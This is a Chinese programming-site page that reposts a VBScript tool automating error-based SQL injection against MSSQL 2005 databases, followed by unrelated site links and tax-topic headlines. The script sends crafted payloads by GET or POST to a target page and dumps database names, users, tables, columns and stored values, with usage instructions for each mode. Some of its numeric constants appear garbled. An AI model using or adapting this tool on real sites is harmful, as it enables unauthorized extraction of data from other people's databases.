位置: 编程技术 - 正文

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

编辑:rootadmin
作者:Tr4c3 '为了保持脚本的通用性,放弃了 and (select col_name(object_id('TableName'),N))=0这样的用法。 '欲返回韩文等字符可修改或者行,更多的设置要自己修改 '更多功能请大家自己加入 Const method = "Get" '提交方式请修改此处,有get和post可选 Const DisPlay = "D" 'S 保存到文件,D输出到屏幕 Dim strUrl_B, strUrl, i, k, MyArray, strArg, strD strUrl_B = " '基于注射点的不确定性,此处请手工更改 i = 1 '库的基数 k = 0 '表和字段的基数 MyArray = Split(strUrl_B, "?", -1, 1) strUrl = MyArray(0) '取url strArg = MyArray(1) '取参数 Set Args = Wscript.Arguments If Args.Count = 0 Then ShowU End If 'If Args.Count =1 And LCase(Args(0)) '************************************************************************ ' 爆库 '************************************************************************ If Args.Count =1 Then If LCase(Trim(Args(0)))="databases" Then ResuT("---------------===============================--------------") ResuT("All The DataBases:") Do strData = " and quotename(db_name("&i&"))=0--" sqlInj(strData) i = i + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit ElseIf LCase(Trim(Args(0)))= "info" then ResuT("---------------===============================--------------") ResuT("The Current Database is:") strData = " and quotename(db_name())=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The database User is:") strData = " and quotename(user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The System_user is:") strData = " and quotename(System_user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") Wscript.Quit End If End If '************************************************************************ ' 爆表 '************************************************************************ If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then ResuT("---------------===============================--------------") ResuT("The Tables Of " & Args(0)) Do strData = " and (select top 1 quotename(name) from "& Args(0) & ".dbo.sysobjects where xtype=char() AND name not in (select top "& k &" name from "&Args(0)&".dbo.sysobjects where xtype=char()))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段 '************************************************************************ If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then Database = Args(0) Table = Args(1) TarGet = DataBase & ".dbo." & Table TarGetCol = Database & ".DBO.SYSCOLUMNS" ResuT("---------------===============================--------------") ResuT("The Columns Of " & TarGet) Do strData = " and (select top 1 Quotename(name) from "& TarGetCol &" where id=object_id('"& TarGet &"') and name not in (select top "&k&" name from "& TarGetCol &" where id=object_id('"& TarGet &"')))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段值 '************************************************************************ If Args.Count=4 And LCase(Trim(Args(3)))="values" Then Database = Args(0) Table = Args(1) col = Args(2) Target = Database & ".dbo." & Table ResuT("---------------===============================--------------") ResuT("The Values Of " & Args(2) & " in "&Target) Do strData = " and (select top 1 quotename("& col &") from "& Target & " where "& col &" not in (select top "& k &" "& col &" from "& Target &"))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If Sub SqlInj(value) If UCase(method) = "GET" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "GET", strUrl &"?" & value , False objXML.SetRequestHeader "Referer", strUrl 'objXML.SetRequestHeader "Accept-Language", "EUC-KR" objXML.send() strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If ElseIf UCase(method) = "POST" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "POST", strUrl, False objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objXML.SetRequestHeader "Referer", strUrl objXML.send(UrlEncode(value)) strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If End If End Sub Function ResuT(strInfo) If UCase(DisPlay) = "S" Then Set fso = CreateObject("Scripting.FileSystemObject") Set fso1 = fso.OpenTextFile("result.txt",8,True) fso1.WriteLine(strInfo) fso1.Close Set fso = Nothing ElseIf UCase(DisPlay) = "D" Then Wscript.Echo(strInfo) End If End Function Function UrlEncode(str) str = Replace(str," ","+") UrlEncode = str End Function Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function Sub showU() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("Sql注射辅助脚本(粗糙版),用于mssql显错模式 By Tr4c3[at][Dot]com") .Echo("Usage:") .Echo(" cscript"&.ScriptName&" info--爆基本信息") .Echo(" cscript"&.ScriptName&" databases--爆所有库名") .Echo(" cscript"&.ScriptName&" pubs tables--爆库pubs里所有用户表名") .Echo(" cscript"&.ScriptName&" pubs authors cols--爆库pubs里authors表的所有字段名") .Echo(" cscript"&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值") .Echo("+--------------------------=====================------------------------------+") .Quit End with End Sub

推荐整理分享Sql2005注射辅助脚本[粗糙版](sql注入攻击代码),希望有所帮助,仅作参考,欢迎阅读内容。

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

文章相关热门搜索词:sql注入神器,sql注入的辅助工具,sql 注入工具,sql注入修复方式,sql注入修补方法,sql注入修补方法,sql注入脚本编写,sql 注入工具,内容如对您有帮助,希望把文章链接给更多的朋友!

sql 不允许进行远程连接可能会导致此失败的解决方法 (provider:命名管道提供程序,error:-无法打开到SQLServer的连接)网站的数据库连接语句为:Server=.0.0.1;uid=sa;pwd=xxx;database=xxx经测试把server=.0.0.1改为server=.

MSSQL数据库备份导入MSSQL 转到的步骤1.生成for版本的数据库脚本的mangerstudio--打开"对象资源管理器"(没有的话按F8),连接到你的实例--右键要转到的库--任务--生成脚

MS-sql 拒绝了对对象 'xxx' (数据库 'xxx',架构 'dbo')的 SELECT 权限的解决方法 问题:Sqlserver默认设置下不允许远程登陆1外围设置tcp/ip和namedpipe同时启用2服务器--〉属性--〉安全性--〉sqlserver和windows认证模式问题:拒绝了对对象'xx

标签: sql注入攻击代码

本文链接地址:https://www.jiuchutong.com/biancheng/319242.html 转载请保留说明!

上一篇:SQL Server 2005恢复数据库详细图文教程(sql server怎么恢复)

下一篇:sql 2005不允许进行远程连接可能会导致此失败的解决方法(不能防止sql注入)

  • 2019年的个税现在还可以退吗
  • 企业办税权限怎么授权给个人
  • 个人所得缴税租房减免该怎么弄?
  • 个人所得税征收范围及税率
  • 豆制品属于农产品初加工吗
  • 一次性收取加盟费 所得税
  • 卖家电税是多少
  • 加计抵减进项税转出需要调减吗
  • 幼儿园个税怎么交
  • 利润表营业外收入怎么取数
  • 进账多于销项怎样报税
  • 税收的三个基本要素是
  • 营改增是什么时候提出的
  • 划拨土地使用权多少年
  • 本月工资下月发是什么意思
  • 装修行业一般纳税人税负率是多少
  • 旅行社代订机票发票写个人能报销吗
  • 机票退票手续费为什么这么贵
  • 利息 财务费用
  • 购买固定资产的税率是多少
  • 跨年度的费用发票做错了怎么办
  • 非公司车辆的使用费如何入账?
  • 国际货运代理免税怎么做账
  • 现金比率在多少比较合适
  • 非现金资产包括
  • 内部权益性投资是指
  • 跨月冲红发票需收回原发票
  • 有限公司注册资金多少好
  • 内含报酬率概念
  • 不合格原材料
  • 分公司吸收新股怎么办
  • 成本法转为权益法属于会计政策变更吗
  • 最早的手机是哪一年
  • 纽约公共图书馆开放时间
  • 增值税结算方式的筹划
  • 增值税发票认证在哪里
  • php框架零基础入门
  • php pop
  • 在数组指定位置添加数据
  • php数据库编程
  • 无形资产转让账务怎么做
  • 电脑培训网络教学
  • 刚成立的新公司怎么报税
  • 期末存货资产结存金额
  • 已付款收货未收到发票怎么做账
  • 出纳造工资表吗
  • python分割语句
  • python导入模块的语句
  • python 规划求解
  • 建筑业委托加工合同范本
  • sql server安装出现值不能为null
  • sql server分为哪两类
  • 小规模企业收到专票怎么做账
  • 委托代销商品的核算
  • 企业借款利息如何计算
  • 加计扣除所得税怎么算
  • 新建厂房费用可以直接计入管理费用么
  • 企业安全生产费用可由企业用于购置
  • 个人付款开了公章怎么办
  • mysql 查询范围
  • 关于月亮的诗句
  • Win10 Mobile 10549预览版怎么升级?
  • linux的telnet用法
  • win7连接宽带
  • mac快捷键使用
  • “explorer.exe”进程文件
  • linux系统批量任务
  • window7主题变成xp了
  • 解决登陆xp系统问题
  • linux在实际工作中的应用
  • w8系统文件夹怎么设置密码
  • Android: Receiving Data from the Send Intent,将自己的app注册系统分享
  • vue框架写淘宝购物车
  • 基于python语言的项目
  • javascript面向对象精要
  • 地税登记证编号是哪几位
  • 青岛市税务局长魏
  • 福建地税网
  • 漳州市税务局电话多少
  • 山东发票认证勾选平台网址
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设